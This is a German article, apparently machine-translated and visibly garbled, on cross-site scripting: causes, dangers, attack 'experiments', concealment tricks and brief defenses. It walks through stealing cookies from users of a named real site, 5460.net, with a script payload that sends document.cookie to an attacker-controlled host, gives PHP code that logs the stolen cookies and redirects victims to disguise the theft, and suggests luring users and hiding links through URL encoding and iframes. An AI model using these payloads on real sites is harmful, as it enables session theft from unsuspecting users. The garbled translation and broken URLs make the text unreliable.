In diesem Artikel wird hauptsächlich die Ursachen für Schwachstellen für die Ausführung von Skripts aus der Skripts vorgestellt. Da es nicht viele Informationen zu Schwachstellen für die Ausführung von Skripts aus der Skript gibt, gibt es in der Regel keine detaillierte Einführung im Internet. Ich hoffe, dieser Artikel kann dieses Wissen ausführlicher einführen. Das Folgende sind die Ursachen für Schwachstellen der Skriptausführung von Cross-Site-Skripts, die vom Herausgeber des falschen neuen Technologiekanals zusammengestellt wurden. Gehen wir zum Folgenden, um mehr zu erfahren!
Ursachen für Schwachstellen der Skriptausführung von Skripten [Ursachen für Schwachstellen]
Der Grund ist sehr einfach, da das CGI -Programm den HTML -Code in den vom Benutzer übermittelten Variablen nicht filtert oder konvertiert.
【Verwundbarkeitsform】】
Die hier erwähnte Form bezieht sich tatsächlich auf die Form des CGI -Eingangs, die hauptsächlich in zwei Arten unterteilt ist:
1. Eingabe anzeigen
2. implizite Eingabe
Die Anzeigeeingabe erfordert eindeutig, dass der Benutzer Daten eingeben muss, während die implizite Eingabe nicht verlangt, dass der Benutzer Daten eingeben kann, der Benutzer jedoch durch Eingabe von Daten eingreifen kann.
Die Anzeigeeingabe kann in zwei Typen unterteilt werden:
1. Die Eingabe ist abgeschlossen und das Ergebnis wird sofort ausgegeben
2. Die Eingabe wird in einer Textdatei oder Datenbank ausgefüllt und gespeichert, und dann wird das Ergebnis ausgegeben.
Hinweis: Letzteres kann Ihre Website nicht wiederzuerkennen! :(
Zusätzlich zu einigen normalen Situationen kann implizite Eingaben auch durch die Verwendung des Server- oder CGI -Programms implementiert werden, um Fehlerinformationen zu verarbeiten.
【Gefahren von Lücken】】
Was alle am meisten besorgt sind, ist wahrscheinlich dieses Problem. Die folgende Liste ist möglicherweise nicht umfassend oder systematisch, aber ich denke, sie sollte typischer sein.
1. Holen Sie sich sensible Daten in anderen Benutzer Cookies
2. Blockspezifische spezifische Informationen blockieren
3.ing Page -Informationen
4. Leugnung des Dienstangriffs
5. Brechen Sie verschiedene Sicherheitseinstellungen von externen und internen Netzwerken durch
6. In Kombination mit anderen Schwachstellen, Systemeinstellungen ändern, Systemdateien anzeigen, Systembefehle ausführen usw.
7. Andere
Im Allgemeinen werden die oben genannten Gefahren häufig von der Verformung der Seite begleitet. Die sogenannte Sicherheitsanfälligkeit der Skriptausführung von Skripten bedeutet, dass der Angriffseffekt über die Websites anderer Menschen erreicht wird, was bedeutet, dass diese Art von Angriff die Identität in gewissem Maße verbergen kann.
【Verwendungsmethode】
Im Folgenden werden wir die verschiedenen obigen Gefahren anhand spezifischer Beispiele demonstrieren, die erklärender und leichter zu verstehen sein sollten. Für die klarere Struktur werden wir für jede Gefahr ein Experiment durchführen.
Um diese Experimente gut durchzuführen, benötigen wir eine Paket -Capture -Software. Ich benutze Iris. Natürlich können Sie andere Software wie NetXray oder so aus auswählen. Für bestimmte Verwendungsmethoden finden Sie auf der entsprechenden Hilfe oder Handbuch.
Darüber hinaus ist eine Sache zu verstehen, dass, solange der Server die vom Benutzer eingereichten Informationen zurückgibt, möglicherweise eine Querklappe für Skriptausführungen gibt.
Ok, alles ist fertig, fangen wir an zu experimentieren! :)
Experiment 1: Erhalten Sie vertrauliche Informationen in den Cookies anderer Benutzer
Nehmen wir die berühmte inländische Studentenaufzeichnungsstelle 5460.net als Beispiel zum Veranschaulichung. Bitte befolgen Sie die folgenden Schritte:
1. Geben Sie die Startseite ein http://www.5460.net/ ein
2. Geben Sie den Benutzernamen "<h1>" ein und senden Sie ihn. Der Server gibt die Informationen zurück, die die Einreichung des Benutzers "<h1>" enthalten.
3. Analysieren Sie die Paketaufnahmedaten und erhalten Sie die tatsächliche Anfrage:
http://www.5460.net/txl/login/login.pl?username=<H1>&passwd=&ok.x=28&ok.y=6
4. Erstellen Sie eine Einreichung mit dem Ziel, Benutzer -Cookie -Informationen anzeigen zu können:
http://www.5460.net/txl/login/login.pl?username=<script>Alert(document.cookie)</ script> & passwd = & oK.x = 28 & OK.Y = 6
5. Wenn die obige Anfrage den erwarteten Effekt erhält, können wir die folgende Anfrage ausprobieren:
http://www.5460.net/txl/login/login.pl?username=<Script>window.open("http://www.notfound.org/ info.php? "%2bdocument
Unter ihnen ist http://www.notfound.org/info.php ein Skript auf einem Host, das Sie steuern können. Seine Funktion besteht darin, die Informationen der Abfragezeichenfolge zu erhalten, und der Inhalt lautet wie folgt:
<? Php
$ info = getenv ("query_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fWrite ($ fp, $ info. "/n");
fcLose ($ fp);
}
Header ("Ort: http://www.5460.net");
Hinweis: "%2B" ist die URL -Codierung von "+", und nur "%2b" kann hier verwendet werden, da "+" als Raum verarbeitet wird. Die folgenden Header -Sätze dienen nur zur Erhöhung der Verschleierung.
6. Wenn die obige URL korrekt ausgeführt werden kann, besteht der nächste Schritt darin, Benutzer in 5460.net zu induzieren, um auf die URL zuzugreifen, und wir können vertrauliche Informationen im Cookie des Benutzers erhalten.
7. Was Sie später tun möchten, liegt bei Ihnen!
Experiment 2: Seitenspezifische Informationen blockieren
Wir nehmen immer noch 5460.net als Beispiel. Hier ist ein problematisches CGI -Programm:
http://www.5460.net/txl/liuyan/liuyansql.pl
Das CGI -Programm akzeptiert drei vom Benutzer bereitgestellte Variablen, nämlich NID, CSID und CNAME, überprüft jedoch keine vom Benutzer übermittelten CNAME -Variablen. Darüber hinaus nimmt das CGI -Programm den Wert von CNAME als Teil der Ausgabeseite. Benutzer von 5460.net sollten klarer sein, dass sich Ihr Name in der unteren rechten Ecke der Nachricht befindet, oder?
Da wir die oben genannten Bedingungen haben, möchten wir möglicherweise die folgenden Schlussfolgerungen ziehen:
Ein Benutzer kann alle Nachrichten zwischen seinen beiden Nachrichten "blockieren"!
Natürlich ist das "Blockieren", über das wir sprechen, nicht "Löschen", und die Nachrichten des Benutzers existieren immer noch, aber aufgrund der Eigenschaften von HTML können wir es nicht von der Seite sehen. Wenn Sie den Quellcode sehen möchten, ist er natürlich nutzlos, aber diejenigen von uns, die CGI Security studieren, sagen, wie viele Personen sehen sich den HTML -Quellcode an, wenn Sie etwas zu tun haben oder nicht?
Aus verschiedenen Gründen werde ich hier nicht die spezifischen Details bekannt geben, sondern nur die Prinzipien kennen.
Hinweis: Wenn Sie sorgfältig darüber nachdenken, können wir nicht nur Nachrichten blockieren, sondern auch Nachrichten anonym hinterlassen, oder?
Experiment 3: Seiteninformationen vergessen
Wenn Sie das obige Experiment verstehen, müssen Sie dieses Experiment nicht durchführen. Die Grundprinzipien sind gleich, aber es ist nur ein wenig problematisch zu implementieren.
Experiment 4: Ablehnung des Dienstangriffs
Es sollte jetzt bekannt sein, dass wir das Verhalten von Servern mit qualifizierten Skript-Ausführungsfällen in gewissem Maße steuern können. In diesem Fall können wir den Server steuern, um einige ressourcenkonsumierende Aktionen auszuführen. Ausführen von JavaScript -Skripten, die tote Schleifen enthalten oder unendliche Fenster öffnen, usw. Auf diese Weise kann das Benutzersystem, das auf die URL zugreift, verlangsamt oder sogar abstürzt. In ähnlicher Weise können wir auch einige Skripte einbetten, um den Server zu bitten, Ressourcen auf anderen Servern anzufordern. Wenn die Ressourcen mehr Ressourcen konsumieren und es mehr Besucher gibt, kann dem Zugriffsserver auch den Dienst verweigert werden, und es ist der Ansicht, dass die Ablehnung des Serviceangriffs vom Server auf sie zugreift, damit die Identität verborgen werden kann.
Experiment 5: Brechen Sie verschiedene Sicherheitseinstellungen von externen und internen Netzwerken durch
Dies sollte leicht zu verstehen sein. Im Allgemeinen setzen unsere Browser unterschiedliche Sicherheitsniveaus für verschiedene Regionen. Zum Beispiel zulassen Sie für den Internetbereich möglicherweise nicht die Ausführung von JavaScript, aber im Intranet -Bereich können Sie die Ausführung von JavaScript zulassen. Im Allgemeinen ist das Sicherheitsniveau des ersteren höher als das des letzteren. Auf diese Weise können andere Sie im Allgemeinen nicht angreifen, indem Sie böswillige JavaScript-Skripte ausführen, aber wenn es auf dem selben Intranet wie Sie eine Anfälligkeit für die Ausführung von Skripten auf dem Server gibt, hat der Angreifer die Chance, ihn zu nutzen, da sich der Server im Intranet-Bereich befindet.
Experiment 6: In Kombination mit anderen Sicherheitslücken, Systemeinstellungen ändern, Systemdateien anzeigen, Systembefehle ausführen usw.
Da es zu viele in den Browser bezogene Schwachstellen gibt, gibt es viele Schwachstellen, die mit Schwachstellen der Skriptausführung von Skripts kombiniert werden können. Ich denke, jeder sollte sich in Bezug auf diese Probleme sehr klar machen. Die Anfälligkeit, IE -Titel ein paar Mal zu ändern, die Anfälligkeit falscher MIME -Ausführungsbefehle und eine Vielzahl von Würmern ist alles gute Beispiele.
Weitere Beispiele finden Sie im folgenden Link:
Internet Explorer Pop-up-Objekt-Tag-Fehler
http://archives.neo vielleicht..com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript modeless Popup Lokale Denialverweigerung der Serviceanfälligkeit
http://archives.neo vielleicht..com/archives/bugtraq/2002-01/0058.html
MSIE6 kann lokale Dateien lesen
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE kann Progams automatisch herunterladen und ausführen
http://archives.neo vielleicht..com/archives/bugtraq/2001-12/0143.html
Dateierweiterungen im MSIe -Download -Dialog fähig
http://archives.neo vielleicht..com/archives/bugtraq/2001-11/0203.html
Der andere IE-Cookie-Stehlen (MS01-055)
http://archives.neo vielleicht..com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neo vielleicht..com/archives/bugtraq/2001-11/0048.html
Schwerwiegende Sicherheitsfehler in Microsoft Internet Explorer - Zone Spoofing
http://archives.neo vielleicht..com/archives/bugtraq/2001-10/0075.html
Falscher Mime-Header kann dazu führen, dass der IE E-Mail-Anhang ausführt
http://www.kriptopolis.com/cua/eml.html
Die Rolle der Sicherheitsanfälligkeit der Skriptausführung von Cross-Site-Skript besteht darin, die Identität des wirklichen Angreifers zu verbergen.
Experiment 7: Andere
Tatsächlich hat diese Art von Problem nur wenig mit Schwachstellen der Skriptausführung von Skripts zu tun, aber es ist immer noch erforderlich, es hier zu erwähnen. Das Wesentliche des Problems besteht darin, dass das CGI -Programm die übermittelten Daten des Benutzers nicht filtert und dann die Ausgangsverarbeitung durchführt. Beispielsweise gibt ein CGI-Programm auf einem Server, das SSI unterstützt, Benutzer aus, die zur Ausführung von SSI-Anweisungen unabhängig von der Methode zur Eingabe der Daten führen. Dies wird natürlich auf der Serverseite ausgeführt, nicht auf der Clientseite. Tatsächlich können CGI -Sprachen wie ASP, PHP und Perl dieses Problem verursachen.
【Versteckte Techniken】
Der Zeitpunkt werde ich hier hauptsächlich über die Theorie sprechen. Ich glaube, es ist nicht schwer zu verstehen. Wenn es wirklich ein Problem gibt, gehen Sie zu diesem Buch, um es zu lesen.
1. URL -Codierung
Vergleichen:
http://www.5460.net/txl/login/login.pl?username=<H1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
Welches ist Ihrer Meinung nach mehr verborgen? !
2. Verstecken Sie sich unter anderen Objekten
Ist es besser, sich zu entscheiden, den Link unterhalb der Schaltfläche zu verbergen, als jemandem direkt einen Link zu geben?
3.. In die Seite einbetten
Ist es viel einfacher, andere auf eine Adresse zugreifen zu lassen (beachten Sie, dass sich die Adresse hier von der oben genannten URL unterscheidet), als andere eine Taste drücken zu lassen? Mit Hilfe von Iframe können Sie diesen Angriff mehr versteckt machen.
4. Rationaler Einsatz von Ereignissen
Die rationale Verwendung von Ereignissen kann in einigen Fällen die Eingabebeschränkungen von CGI-Programmen umgangen werden, wie z.
【Vorsichtsmaßnahmen】
Im Allgemeinen gibt es kein Problem darin, direkt Angriffe wie <Script> alert (document.cookie) </script> durchzuführen, aber manchmal verarbeiten CGI -Programme Benutzereingaben, z. B. "oder" ". Zu diesem Zeitpunkt müssen wir einige Tricks verwenden, um diese Einschränkungen zu umgehen.
Wenn Sie mit der HTML -Sprache vertraut sind, sollte es kein Problem sein, diese Einschränkungen zu umgehen.
【Lösung】
Um zu vermeiden, dass Schwachstellen für die Ausführung von Skript ausführlich angegriffen werden, müssen sowohl Programmierer als auch Benutzer zusammenarbeiten:
Programmierer:
1. Filter oder konvertieren Sie den HTML-Code in vom Benutzer eingereichten Daten
2. Begrenzen Sie die von den Benutzern eingereichte Datendauer
Benutzer:
1. Greifen Sie nicht einfach auf die Links zu, die andere Ihnen geben
2. Deaktivieren Sie Browser vom Ausführen von JavaScript und ActiveX Code
Anhang: Die Position der allgemeinen Browser -Modifikationseinstellungen lautet:
Internet Explorer:
Tools -> Internetoptionen -> Sicherheit -> Internet -> Benutzerdefinierte Levels
Tools -> Internetoptionen -> Sicherheit -> Intranet -> Benutzerdefinierte Levels
Oper:
Datei -> Schnelle Parameter -> Java zulassen
Datei -> Schnelle Parameter -> Plugins zulassen
Datei -> Schnelle Parameter -> JavaScript zulassen
【FAQ】
F: Wo existiert die Sicherheitsanfälligkeit für Skriptausführungen im Cross-Standort?
A: Solange es sich um ein CGI-Programm handelt und solange der Benutzer eingeben dürfte, kann es eine Querklappe für Skriptausführungen geben.
F: Kann die Schwachstellen für Skriptausführung von Cross-Site-Ausführungen nur die Cookies anderer Menschen stehlen?
A: Natürlich nicht! Alle HTML-Code können durchgeführt werden, können Schwachstellen der Skriptausführung von Cross-Site-Skript ausgeführt werden.
Der obige Artikel ist die Ursache für Schwachstellen der Skriptausführung von Skripts. Ich glaube, jeder hat ein gewisses Verständnis. Wenn Sie weitere technische Informationen wissen möchten, achten Sie bitte weiter auf den falschen neuen Technologiekanal!